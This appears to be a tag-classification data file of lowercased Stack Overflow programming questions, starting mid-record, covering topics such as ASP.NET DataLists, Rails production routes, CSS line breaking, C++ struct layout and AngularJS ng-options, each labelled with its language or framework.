that the route exists     i tried restarting the server too.,ruby-on-rails
asp -response-flush-flushes-partial-data  i am developing a web app with an asp server side and i use an iframe for data push.    an asp handler flushes every once in a while some javascript to the iframe:   <pre><code>context.response.write( &lt;script language= javascript &gt;top.update( lala );&lt;/script&gt; ); context.response.flush(); </code></pre>   my problem is that sometimes  when i receive the data  i don t get the full text. for example i will receive this : update( lala );   one workaround i have is to have a thread flushing  ..........  every 500ms. (then i will receive script>...... which will complete my javascript.)    however i am sure there must be a way to have response.flush() sending the whole chunk of data. does someone have an idea on how to use properly response.flush()      thank you!,asp.net
refactoring static class so i can unit test it  i have a static class that i would like to refactor so i can change the name of the properties file etc.  and to be able to unit test it easier.    current i have this:   <pre><code>public enum mysettings {     instance;     //priv vars    private string applicationurl;     private mysettings() {       mappingjsonfactory jf = new mappingjsonfactory();      classloader classloader = thread.currentthread().getcontextclassloader();     inputstream mysettingsinputstream = classloader.getresourceasstream( a.properties );      properties mysettingsproperties = new properties().load(mysettingsinputstream);      // code below to load json and set priv vars etc.        }     public string getapplicationurl() {        return applicationurl;    } } </code></pre>   how could i set the name of the properties file to something else in my unit tests,java
automatic line breaks for too long words with css  i want to force a line break between two words if there is not enough room for both of them in just one line and between two letters if the whole word does not fit into the line. i already tried a few things but i only get them to work in chrome. firefox and ie break a word right between two letters although they should put one word into a new line. take a look at this <a href= https://jsfiddle.net/hsb36w15/3/  rel= nofollow noreferrer >fiddle</a>. i used this css to force line breaks.   <pre><code>-ms-word-break: break-all; word-break: break-all; word-break: break-word;  -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; </code></pre>   you see chrome doing line breaks just fine. ie and firefox break the word  looooooooooooooooooooong  between two letters. how do i get those things to work,css
objective-c: how to convert an int to nsstring  i am using the following code to get an alphabetic number of a first letter in a string:   <pre><code>toupper([ my_string characteratindex: 0 ] ) -  a  </code></pre>   i need to do an inverse task - to convert an alphabetical number of a letter to a nsstring.    what is the best way to do so     thank you in advance.,objective-c
fbloginview doesn t work in archive for app store  just applied my first app to apple  and after about a week  i got a response saying that it didn t pass their qa.     they say that when they press the  log in  button  i.e fbloginview i use - nothing happens. they say it s on iphone 5s with ios 7.1.1. now  i ve tested the app on iphone 5s with ios 7.0 and with iphone 4s with ios 7.1.1 - and it worked.     does anyone know what might be the problem  what can i do,ios
get list of files from ftp folder with a large number of files  i am trying to get a listing of all the files in a ftp folder.  the problem is that there are about 96000 image files  so the directory listing times out.  any thoughts on how i might use .net (prefer vb.net) to get the file details (modified date).  i want to get the information to allow me to sync the files.  while there may be a program out there to do this  this is only a temporary solution until we finish moving the files to our s3 bucket.  thanks.,.net
how can i set my datalist s datasource to datatable in run time  i have two data lists in my page and one of them is nested in the other one. i would like to give their data sources in run time during page load event  but my inner data list doesn t show the value of the data table and i don t know how to set my inner data lists data source to data table in run time.    i have searched a lot about it but i couldn t find useful information.  please help me.    in the page i would like to show which user bought which products  show the quantity and price of each product and show some information about paid index. like index number or index bank name. the problem is  for one index number i can have several products. for showing the related products to each index number i used nested data list. in my first data list now my outer (parent) data list can show the information but the inner data list which should show the products information does not show any thing.    i really need help    this is my code:   <pre><code>  &lt;asp:datalist id= outerdataliat  runat= server  repeatcolumns= 1               backcolor= #cccccc  bordercolor= #999999  borderstyle= solid     borderwidth= 3px               cellpadding= 4  cellspacing= 2  forecolor= black  gridlines= both   datakeyfield= idfromindex  onitemdatabound= datalist1_itemdatabound  /&gt;             &lt;footerstyle backcolor= #cccccc   /&gt;;             &lt;headerstyle backcolor= black  font-bold= true  forecolor= white  /&gt;         &lt;itemstyle backcolor= white  /&gt;         &lt;itemtemplate /&gt;                &lt;fieldset&gt;      &lt;legend&amp;gt&gt;customer information&amp;lt&lt;/legend&amp;gt&gt;     &lt;table style= width: 100%; /&gt;      &lt;tr&gt;       &lt;td&gt;      &amp;nbsp;customer code:     &lt;/td&gt;      &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label1  runat= server  text= &lt;%# eval( idfromusers ) %&gt; &lt;/asp:label&gt;              &lt;/td&gt;;                   &lt;td&gt;                     &amp;nbsp;telephone:                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label2  runat= server  text= &lt;%# eval( user_phone ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;              &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &amp;nbsp; customer name :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label3  runat= server  text= &lt;%# eval( user_name ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;cellphone number:                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label4  runat= server  text= &lt;%# eval( user_cellphone ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &amp;nbsp; customer familly name :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label5  runat= server  text= &lt;%# eval( user_familly ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;email :                 &lt;/td&gt;                 &lt;td&gt;                    &amp;nbsp;&lt;asp:label id= label6  runat= server  text= &lt;%# eval( user_email ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;      &lt;/fieldset&gt;     &lt;fieldset&gt;     &lt;legend&gt;index information&lt;/legend&gt;       &lt;table style= width: 100%; &gt;           &lt;asp:label id= hiddenlable  runat= server  text= &lt;%# eval( idfromindex ) %&gt;  visible= false &gt;&lt;/asp:label&gt;             &lt;tr&gt;                 &lt;td&gt;                     &amp;nbsp;index number :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label7  runat= server  text= &lt;%# eval( indexno ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;date of index :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label8  runat= server  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;bank name:                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label9  runat= server  text= &lt;%# eval( bankname ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;      &lt;/fieldset&gt;     &lt;fieldset&gt;     &lt;legend&gt;purchased products&lt;/legend&gt;     &lt;asp:datalist id= innerdataliat  runat= server  repeatcolumns= 1               backcolor= #cccccc  bordercolor= #999999  borderstyle= solid  borderwidth= 3px               cellpadding= 4  cellspacing= 2  forecolor= black  gridlines= both  onitemdatabound= datalist2_itemdatabound   &gt;             &lt;footerstyle backcolor= #cccccc   /&gt;             &lt;headerstyle backcolor= black  font-bold= true  forecolor= white  /&gt;             &lt;itemstyle backcolor= white  /&gt;         &lt;itemtemplate &gt;         &lt;table style= width: 100%;  id= tbl1 &gt;&lt;/table&gt;        &lt;table style= width: 100%; &gt;             &lt;tr&gt;                 &lt;td&gt;                     &amp;nbsp;product name :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label10  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;quantity:                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label11  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;unit price of each product :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label12  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;                &lt;td&gt;                     &amp;nbsp;total amount:                 &lt;/td&gt;                 &lt;td&gt;                 &amp;nbsp;&lt;asp:label id= label13  runat= server  text=  &gt;&lt;/asp:label&gt;                  &lt;/td&gt;             &lt;/tr&gt;           &lt;/table&gt;                    &lt;/itemtemplate&gt;           &lt;/asp:datalist&gt;      &lt;/fieldset&gt;     &lt;fieldset&gt;&lt;legend&gt;shopping cart information&lt;/legend&gt;         &lt;table style= width: 100%; &gt;             &lt;tr&gt;                 &lt;td &gt;                     &amp;nbsp;total quantity :                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label14  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;               &lt;td&gt;                     &amp;nbsp;total amount of shopping cart:                 &lt;/td&gt;                 &lt;td&gt;                     &amp;nbsp;&lt;asp:label id= label15  runat= server  text=  &gt;&lt;/asp:label&gt;                 &lt;/td&gt;              &lt;/tr&gt;             &lt;tr&gt;             &lt;td&gt; &amp;nbsp;date of shopping :&lt;/td&gt;             &lt;td dir= rtl &gt;&amp;nbsp&lt;asp:label id= label16  runat= server  text= &lt;%# eval( orderdate ) %&gt;   /&gt;&lt;/td&gt;             &lt;/tr&gt;          &lt;/table&gt;         &lt;/fieldset&gt;             &lt;asp:linkbutton id= linkbutton1  runat= server  commandname= confirm &gt;confirm&lt;/asp:linkbutton&gt;           &amp;nbsp;           &lt;asp:linkbutton id= linkbutton2  runat= server  commandname= notconfirm &gt;not confirm&lt;/asp:linkbutton&gt;         &lt;/itemtemplate&gt;              &lt;selecteditemstyle backcolor= #000099  font-bold= true  forecolor= white  /&gt;          &lt;/asp:datalist&gt;       protected void page_load(object sender  eventargs e)    {     if (!ispostback)     {         getdistinctorderid();         dopaging();     }       } private void getdistinctorderid() {     sqlconnection myconnection = new sqlconnection(configurationmanager.connectionstrings[ mobile_storeconnectionstring ].connectionstring);     sqlcommand cmd = new sqlcommand();     cmd.connection = myconnection;     cmd.commandtype = commandtype.text;     cmd.commandtext =  select min(id)  [idfromindex] from orders where [idfromindex] in(select distinct [idfromindex] from orders) group by [idfromindex]  ;     dataview mydv = new dataview();      try     {         myconnection.open();         sqldatareader dr = cmd.executereader();         datatable dt = new datatable();         dt.load(dr);         mydv = dt.defaultview;         for (int i = 0; i &amp;lt; mydv.count; i++)         {             if (i == mydv.count - 1)             {                 distinctlist += mydv[i][0].tostring();             }             else                 distinctlist += mydv[i][0].tostring() +    ;         }      }     catch (exception exp)     {     }     finally     { myconnection.close(); } }  public datatable getthedata()  {   dataset ds = new dataset();  sqlconnection myconnection = new sqlconnection(configurationmanager.connectionstrings[ connectionstring1 ].connectionstring);         sqldataadapter objsqladapter = new sqldataadapter( select idfromindex user_name user_email indexno bankname ispay user_familly user_cellphone orderdate user_phone idfromusers orderid from factors where orderid in (  + distinctlist +  )   myconnection); objsqladapter.fill(ds   mobile_store );      return ds.tables[0];  }    void dopaging()   {     //datatable mydatatable =      pageddata.datasource = getthedata().defaultview;     pageddata.allowpaging = true;     pageddata.pagesize = 4;   /*   ...    here i wrote some code to make my outer datalist pagable  ... */       outerdataliat.datasource = pageddata;     outerdataliat.databind();  }    protected void datalist1_itemdatabound(object sender  datalistitemeventargs e)  {     if ((e.item.itemtype == listitemtype.item) || (e.item.itemtype == listitemtype.alternatingitem))     {         label lbl = (label)e.item.findcontrol( hiddenlable );         string idfromindex = lbl.text;         datalist lst2 = (datalist)e.item.findcontrol( innerdataliat );         sqldatasource ds = new sqldatasource();         datatable mydt = new datatable();          dataset t = setinnerdatalist(idfromindex);         tb2 = t;         int sumqty = 0;         double sumprice = 0;         for (int i = 0; i &amp;lt; t.rows.count; i++)         {             sumprice += convert.todouble(t.rows[i][ p_price ]) * convert.toint32(t.rows[i][ qty ]);              sumqty += convert.toint32(t.rows[i][ qty ]);         }         label lbl14 = (label)e.item.findcontrol( label14 );         lbl14.text = sumqty.tostring();         label lbl15 = (label)e.item.findcontrol( label15 );         lbl15.text = sumprice.tostring();            label pname = (label)lst2.findcontrol( pname );         label qty = (label)lst2.findcontrol( qty );         label price = (label)lst2.findcontrol( unit_price );         datarow[] dr = t.tables[0].select( idfromindex =    + idfromindex +    );//new datarow[t.tables[0].rows.count]; //=  //this will select all rows where the name column has value mak         for (int i = 0; i &lt; t.tables[0].rows.count; i++)         {             dr[i] = t.tables[0].rows[i];         }         for (int i = 0; i &lt; dr.length; i++)         {             pname.text = dr[i][ pname ].tostring();             price.text = dr[i][ p_price ].tostring();             qty.text = dr[i][ qty ].tostring();         }      } }    private dataset setinnerdatalist(string idfromindex)  {      sqlconnection myconnection = new sqlconnection(configurationmanager.connectionstrings[ mobile_storeconnectionstring ].connectionstring);     sqlcommand cmd = new sqlcommand();     cmd.connection = myconnection;     cmd.commandtype = commandtype.text;     cmd.commandtext =  select [pname]  [p_price]  [idfromindex]  [qty] from [factors] where ([idfromindex] =   + idfromindex +  )  ;     dataview mydv = new dataview();     dataset dt = new datatable();     try     {         myconnection.open();         sqldatareader dr = cmd.executereader();          dt.load(dr);         dr.close();      }     catch (exception exp)     {       }     finally     { myconnection.close(); }      return dt;  }&lt;/pre&gt; </code></pre>,asp.net
rails route not working in production  not sure what is going on here. this is working perfectly in development and throws an error in production. rake routes shows the path the same in each environment as the dashboard_path. ruby version and rails version are the same in both. i restarted the server  reinitialized unicorn  bundle  db:reset  everything in both environments. i m pulling my hair out.    error message   <pre><code>i  [2015-06-16t03:31:50.600950 #12311]  info -- :   rendered pages/index.html.erb within layouts/application (17.7ms) i  [2015-06-16t03:31:50.601165 #12311]  info -- : completed 500 internal server error in 24ms f  [2015-06-16t03:31:50.603417 #12311] fatal -- :  actionview::template::error (undefined method `dashboard_path  for #&lt;#    &lt;class:0x000000052151b0&gt;:0x00000004c35448&gt;):     1: &lt;td&gt;     2:   &lt;%= link_to page.name  dashboard_path(page) %&gt;     3: &lt;/td&gt;     4: &lt;td id= page_select_form &gt;     5:   &lt;% if page.group.nil %&gt;   app/views/pages/_page.html.erb:2:in `_app_views_pages__page_html_erb__2539077092639507273_42387000    app/views/pages/index.html.erb:19:in `block in _app_views_pages_index_html_erb___1631868800231267778_43030140    app/views/pages/index.html.erb:17:in `_app_views_pages_index_html_erb___1631868800231267778_43030140  </code></pre>   index.html.erb   <pre><code>  &lt;div class= container &gt;   &lt;div class= row &gt;     &lt;h3 class= std-heading &gt;pages&lt;/h3&gt;     &lt;h4 class= std-create &gt;&lt;%= link_to  create page   new_page_path %&gt;&lt;/h4&gt;     &lt;div class= column &gt;       &lt;table class= table &gt;         &lt;tbody&gt;          &lt;% if current_company.pages.empty  %&gt;            &lt;p&gt;it looks like you don t have any pages yet. create one &lt;%= link_to  here!   new_page_path %&gt;&lt;/p&gt;          &lt;% else %&gt;             &lt;tr class= firstrow &gt;                 &lt;td&gt;&lt;b&gt;name&lt;/b&gt;&lt;/td&gt;                 &lt;td&gt;&lt;b&gt;assigned group&lt;/b&gt;&lt;/td&gt;                 &lt;td&gt;&lt;/td&gt;                 &lt;td&gt;&lt;/td&gt;             &lt;/tr&gt;           &lt;% current_company.pages.each do |page| %&gt;                 &lt;tr&gt;                   &lt;%= render page %&gt;                 &lt;/tr&gt;             &lt;% end %&gt;           &lt;% end %&gt;         &lt;/tbody&gt;       &lt;/table&gt;      &lt;hr&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   and the partial   <pre><code>&lt;td&gt;   &lt;%= link_to page.name  dashboard_path(page) %&gt; &lt;/td&gt; &lt;td id= page_select_form &gt;   &lt;% if page.group.nil %&gt;     &lt;p&gt;unassigned&lt;/p&gt;   &lt;% else %&gt;     &lt;%= simple_form_for page do |f| %&gt;         &lt;%= f.input :group_id  collection: @groups               select: page.group               label: false               include_blank: false %&gt;     &lt;%= f.submit :submit  class:  btn  %&gt;     &lt;% end %&gt;   &lt;% end %&gt; &lt;/td&gt; &lt;td&gt;   &lt;%= link_to  edit page   page %&gt; &lt;/td&gt; &lt;td&gt;   &lt;%= link_to( delete page   page_path(page)       :data =&gt; { :confirm =&gt;  are you sure   }  :method =&gt; :delete  :class =&gt;  button-xs ) %&gt; &lt;/td&gt; </code></pre>   routes.rb   <pre><code>get  /pages/:id/dashboard   to:  pages#dashboard   as: :dashboard </code></pre>   here is the relevant rake routes from production (identical to development)   <pre><code> mercury_update_page post   /pages/:id/mercury_update(.:format) pages#mercury_update                pages get    /pages(.:format)                    pages#index                      post   /pages(.:format)                    pages#create             new_page get    /pages/new(.:format)                pages#new            edit_page get    /pages/:id/edit(.:format)           pages#edit                 page get    /pages/:id(.:format)                pages#show                      patch  /pages/:id(.:format)                pages#update                      put    /pages/:id(.:format)                pages#update                      delete /pages/:id(.:format)                pages#destroy                      put    /pages/:id/mercury_update(.:format) pages#mercury_update               groups get    /groups(.:format)                   groups#index                      post   /groups(.:format)                   groups#create            new_group get    /groups/new(.:format)               groups#new           edit_group get    /groups/:id/edit(.:format)          groups#edit                group get    /groups/:id(.:format)               groups#show                      patch  /groups/:id(.:format)               groups#update                      put    /groups/:id(.:format)               groups#update                      delete /groups/:id(.:format)               groups#destroy   groups_select_page post   /groups/select_page(.:format)       groups#select_page                      get    /q/:path(.:format)                  q_rcodes#new                      get    /t/:path(.:format)                  tags#processurl                      get    /pages/view/:path(.:format)         pages#view            dashboard get    /pages/:id/dashboard(.:format)      pages#dashboard                 home get    /home(.:format)                     home#index </code></pre>   please help!,ruby-on-rails
uinavigationitem.title.frame = 0 0 width height   <img src= https://i.stack.imgur.com/npqoc.png  alt= enter image description here >why is this  i do not understand. isn t it in the middle of the uinavigationitem  the origin of the title view could not be 0 0  right  should be something greater than 0 0.    but when i printed it on console  that is it... even though it does have the autoresizingmask = uiviewautoresizingflexiblewidth,ios
undefined index error on validation - php  hi first let me tell you i m posting a  summary  of my code here not because i havent tried solving my issue or i m lazy. because of my little knowledge on php struggling to crack the error now for 3.5hrs!     so im much grateful if someone can point out why this error is happening. the error says undefined error in line 4.   <pre><code>        &lt; php      function validate(&amp;$x &amp;$y)     {if(isset($_post[ sub1 ]))         {if($_post[ optme ] ==   ) {echo  empty dropdown ; return false;}}     }     function display($x $y)     {      &gt;     &lt;html&gt;     &lt;head&gt;&lt;title&gt;&lt;/title&gt;&lt;/head&gt;     &lt;body&gt;     &lt;form method= post &gt;       &lt;table id= tab2  border= 1 &gt;       &lt;tr&gt;&lt;td&gt;             &lt;select id= optme &gt;             &lt;option value=  &gt;&lt;/option&gt;             &lt;option value= one &gt;one&lt;/option&gt;             &lt;option value= two &gt;two&lt;/option&gt;             &lt;/select&gt;       &lt;/td&gt;       &lt;td&gt;&lt;input type= submit  id= sub1  name= sub1  value= click here &gt;&lt;/td&gt;       &lt;/tr&gt;        &lt;/table&gt;     &lt;/form&gt;     &lt;form method= post &gt;       &lt;table id= tab2  border= 1 &gt;       &lt;tr&gt;         &lt;td&gt;&lt;input type= text &gt;&lt;/td&gt;         &lt;td&gt;&lt;input type= submit  id= send  name= send  value= send now &gt;&lt;/td&gt;       &lt;/tr&gt;            &lt;/table&gt;     &lt;/form&gt;     &lt;/body&gt;     &lt;/html&gt;     &lt; php     }     function process($x)     {     // i will add my code here to print something.     }     if ($_server[ request_method ] ==  post )         {$formvalues = $_post;$formerrors = array();         if (!validate($formvalues  $formerrors))         display($formvalues  $formerrors);         else         process($formvalues);         }         else         display(null  null);      &gt; </code></pre>,php
idiomatic way to aggregate modules into a single  facade  module <ol> <li> i want to combine a list of known modules (<code>bar</code>  <code>baz</code>  <code>qux</code>) from different packages into a single module that my application can access as a facade (<code>foo</code>). </li> <li> i also want <code>bar</code>  <code>baz</code>  and <code>qux</code> to have control over what it  exports   while <code>foo</code> will have no knowledge of the contents of these modules and will simply  re-export  them. </li> </ol>   for example:    the full contents of foo.py   <pre><code>from somepackage.bar import * from otherpackage.baz import * from yetanotherpackage.qux import * </code></pre>   and partial contents of bar  baz  and qux:    bar.py:   <pre><code>def bar1():    print  bar1   __all__ = [ bar1 ] </code></pre>   baz.py:   <pre><code>def baz1():    print  baz1   def baz2():    print  baz1    __all__ = [ baz1    baz2 ] </code></pre>   qux.py:   <pre><code>def qux1():    print  qux1    __all__ = [ qux1 ] </code></pre>   now when i import foo in my application  i will have access to <code>foo.bar1</code>  <code>foo.baz1</code>  <code>foo.baz2</code>  and <code>foo.qux1</code>.  which is what i want.    however  there is a stigma associated with using <code>import *</code>  which makes me think there is a possibility that i am overlooking some pitfalls in doing it this way.    is my example above the idiomatic way to accomplish the two goals above   or is there a better way,python
having a member with an incomplete data type (char[]) at the end of a struct  c++ allows you to have a member with an incomplete data type (such as char[]) at the end of a struct (<strong>edit</strong>: it doesn t  see answer). i created this example but can t quite wrap my head around about why and how this works.   <pre><code>struct foo {     char padding;     char bar[]; };  int main() {     char str[6] = {  h    e    l    l    o    \0  };      foo* fooptr = (foo*)str;      std::cout &lt;&lt; fooptr-&gt;bar; } </code></pre>   output: <code>ello</code>    i would expect <code>fooptr-&gt;bar</code> to either be  e  or throw some kind of read access violation error. why does it perfectly print the string up to the null termination character,c++
how to insert value in getviewtype in android   i am working on listview and i have an adapter in which i want to show two views. for this i m using <code>listview</code> with custom base adapter. my code is working fine but i don t know what value i have to insert in <code>getviewtype()</code>.    code:   <pre><code>private context mcontext; private list&lt;newssnippet&gt; mitems; private string tag = cnewsadpter.class.getsimplename();  public cnewsadpter(context m_context  list&lt;newssnippet&gt; items) {     this.mcontext = m_context;     mitems = items; }  @override public int getitemviewtype(int position) {     return 2; }  @override public int getviewtypecount() {     return 2; }  @override public int getcount() {// get total arraylist size     return mitems.size(); }  @override public object getitem(int position) {// get item position in array list     return mitems.get(position); }  @override public long getitemid(int position) {     return position; }  @suppresswarnings( deprecation ) @suppresslint({ settexti18n    inflateparams }) @override public view getview(final int position  view convertview  viewgroup parent) {     view v = convertview;     int type = getitemviewtype(position);     if (v == null) {         // inflate the layout according to the view type         layoutinflater inflater = (layoutinflater) parent.getcontext().getsystemservice(context.layout_inflater_service);         if (type == 0) {             // inflate the layout with image             v = inflater.inflate(r.layout.news_item_for_layout  parent  false);         } else {             v = inflater.inflate(r.layout.vcom_layout  parent  false);         }     }      final newssnippet m = mitems.get(position);     imageview m_icon = (imageview) v.findviewbyid(r.id.imgnewsicon);     textview m_titletext = (textview) v.findviewbyid(r.id.txtnewstitle);     textview m_description = (textview) v.findviewbyid(r.id.description);     button m_actionbutton = (button) v.findviewbyid(r.id.actionbtn);     if (type == 0) {         ratingbar m_ratingbar = (ratingbar) v.findviewbyid(r.id.pop_ratingbar);          string s = string.valueof((float) m.s_szrating);         if (!s.equalsignorecase(  )) {             m_ratingbar.setrating((float) m.s_szrating);         }     }      m_titletext.settext(m.s_sztitle);     m_description.settext(m.s_szdescription);     m_actionbutton.settext(m.s_szcta);      m_actionbutton.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             intent browserintent = new intent(intent.action_view                      uri.parse(m.s_szlandingurl));             v.getcontext().startactivity(browserintent);         }     });     try {         string url = m.s_szicon;         if (url != null &amp;&amp; !url.equals(m_icon.gettag())) {             m_icon.settag(url);              new cdownloadimagetask(m_icon)                     .execute(m.s_szicon);         }     } catch (exception e) {         e.printstacktrace();     }       return v; } </code></pre>,android
this code is undefined  why is it running  how do i crash it   i ran the code below in visual studios and expected to get a runtime or some kind of error. i got nothing  absolutely nothing. i got the output code 9  comment that line out and got 3. i ran it on codepad and it gave me no errors as well.    is there a compiler that will tell me this code is incorrect  if it is correct why is it  i know const a&amp; <a href= http://herbsutter.com/2008/01/01/gotw-88-a-candidate-for-the-most-important-const/  rel= nofollow >is legal</a> but afaik the below isnt.   <pre><code>class a { public:     int v;     a&amp; get()     {         return *this;     } };  a&amp; func() {     a a;     a.v=3;     return a.get(); }  int main() {     a&amp; v = func();     v.v=9;     return v.v; } </code></pre>,c++
page redirection in multiple project under single solution  i have a multiple web application under a single solution like this -     <img src= https://i.stack.imgur.com/pnzlw.png  alt= enter image description here >    odcportal is my startup project. now in odcportal home.aspx page in some button event  i am trying to redirect csp_home.aspx page. but i am getting the resource cannot be found error. my code -    <pre><code>response.redirect(string.format( http://{0}/csp/csp_home.aspx                               request.url.host)); response.redirect( ~/odcportal/csp/csp_home.aspx ); </code></pre>   nothing working for me. please some one help me. thanks in advance gulrej,asp.net
can t access tabbarcontroller from imageview  i have an app that has a navigation controller in a tabbar controller. the root for the navigation controller is a table view controller. the table view has a segue to an image view. i want to update the badge value on a tab from the image view controller. from the tabbar controller  this works fine:   <pre><code>uiviewcontroller *viewcontroller = [self.tabbarcontroller.viewcontrollers objectatindex:1]; viewcontroller.tabbaritem.badgevalue = @ x ; </code></pre>   but when i put the same code into the imageview controller  it doesn t work. when i check the value of  viewcontroller  after it executes  the value is nil. same for self.tabbarcontroller. for some reason the image view controller can t see its tabbarcontroller.,ios
rails - using .new() vs .create() methods when defining create action  when defining the create action in a controller what is the difference between using these two methods.   <pre><code>def create   @item = item.new(name: item_params[:name])   @item.save end </code></pre>   vs   <pre><code>def create   @item = item.create(name: item_params[:name]) end </code></pre>   is one better than another,ruby-on-rails
2 ng-option  conditional options for 2nd ng-option  so what i am trying to do is fairly simple i think. i am pretty new though to <code>ng-options</code>. i ve been using ng-repeat  in the dark about <code>ng-options</code>  but i am fairly certain <code>ng-options</code> will work better for my task.    what i am trying to do is based on the selection of whats in the first <code>ng-options</code>  will determine what the user sees in the second <code>ng-options</code>.    here is my html with my best attempt at what i am trying to do:   <pre><code>&lt;div class= formrow &gt;     &lt;select name= client  ng-model= selectedclient  ng-options= x.name for x in clients &gt;     &lt;/select&gt; &lt;/div&gt; &lt;div class= formrow &gt;     &lt;select name= profile  ng-options= x.name for x in profiles  ng-if= x.id = selectedclient &gt;     &lt;/select&gt; &lt;/div&gt; </code></pre>   as you can imagine  i have 2 objects:   <pre><code>$scope.clients = [{   name: clienta     id: 1  } {   name: clientb     id: 2  }];  $scope.profiles = [{   name: north     id: 1     clientid: 1  } {   name: south     id: 2     clientid: 1  } {   name: east     id: 3     clientid: 2  } {   name: west     id: 4     clientid: 2  }]; </code></pre>   so  in my html  with the <code>ng-options</code>  what i am really trying to do logically is i want the profiles that show up in the second <code>ng-options</code> to be only whose <em>profiles.clientid equals clients.id</em> of the first <code>ng-options</code> that is selected.    i am not getting any errors with what i currently have going. but with that html  just the clients options are being populated.    i hope this makes sense. thanks!,angularjs
how can i pass into a directive a service   the following directive works when i call it from a controller <code>as test</code>:   <pre><code>app.directive( codeblock   function() {     return {     scope: true   // need to change this but not sure how     restrict:  a       replace:  false       template:  &lt;div&gt;{{ test.stateservice.message }}&lt;/div&gt;      }; }); </code></pre>   the following directive works when i call it from a controller <code>as abc</code>:   <pre><code>app.directive( codeblock   function() {     return {     scope: true   // need to change this but not sure how     restrict:  a       replace:  false       template:  &lt;div&gt;{{ abc.stateservice.message }}&lt;/div&gt;      }; }); </code></pre>   how can i change the directive so i can pass in: <code>test.stateservice</code> or <code>abc.stateservice</code>. i think the directive needs to look like this:   <pre><code>app.directive( codeblock   function() {     return {     scope: true   // use a child scope that inherits from parent     restrict:  a       replace:  false       template:  &lt;div&gt;{{ stateservice.message }}&lt;/div&gt;      }; }); </code></pre>   but i do not understand how to do change the directive so i can pass in the stateservice and how i would need to call it. help would be appreciated.,angularjs
mpmovieplayercontroller custom control  can we make custom control like the default slider in mpmovieplayercontroller for forwarding and backward the movie,iphone
what s the best way to determine the name of your machine in a .net app   i need to get the name of the machine my .net app is running on.  what is the best way to do this,.net
converting heterogenous vector to array in c++  i m looking for a solution for converting a three dimensional vector into a three dimensional array.    i could create a loop to copy the array content inside a three dimensional vector  but there is a catch: the vector is constituted of very heterogeneous 2d vectors.    here is the argument in the constructor of my frame:   <pre class= lang-c++ prettyprint-override ><code>std::vector&lt;std::vector&lt;std::vector&lt;double&gt; &gt; &gt;&amp; mdonnees </code></pre>   the first size is not a problem  the second size is the number of lines catched in a file and the last size is always 2 (number of data for every line)   <pre class= lang-none prettyprint-override ><code>[quantity of datasets][quantity of lines][quantity of data/line] </code></pre>   for using the freechart function addserie (in a xy plot)  i need an array of 2d arrays so i can add the series previously got with a simple loop. i need to be able to get in every elements of the first dimension of this array an array like that:   <pre class= lang-c++ prettyprint-override ><code>double data1[][2] = {     { 10  20  }      { 13  16  }      { 7  30  }      { 15  34  }      { 25  4  }  }; </code></pre>   thank you,c++
how to join multiple tables and get count   i have a tables (country  user  user_subscribed_disciplines  discipline  user_subscribed_study_levels  study_level)   <pre><code>table country country_id | user_id | country_name  table user_subscribed_disciplines id | user_id | discipline_id  discipline id | name  user_subscribed_study_levels id | user_id | study_level_id  study_level id | name </code></pre>   i want t get table like this   <pre><code>country | total users count | active users count | inactive users count | discipline subscribers count | top discipline | study level subscribers count | top study level </code></pre>,sql
the extern class specifier  if i have an external variable like this:   <pre><code>int a; </code></pre>   is right that declaration is equals to:   <pre><code>extern int a = 0; </code></pre>   and not equals to:   <pre><code>extern int; </code></pre>   is it the same as local variable where write something like this:   <pre><code>int local; </code></pre>   is equals to:   <pre><code>auto int local; </code></pre>   in both cases does the compiler put  as default  the specifier <code>extern</code> or <code>auto</code>,c
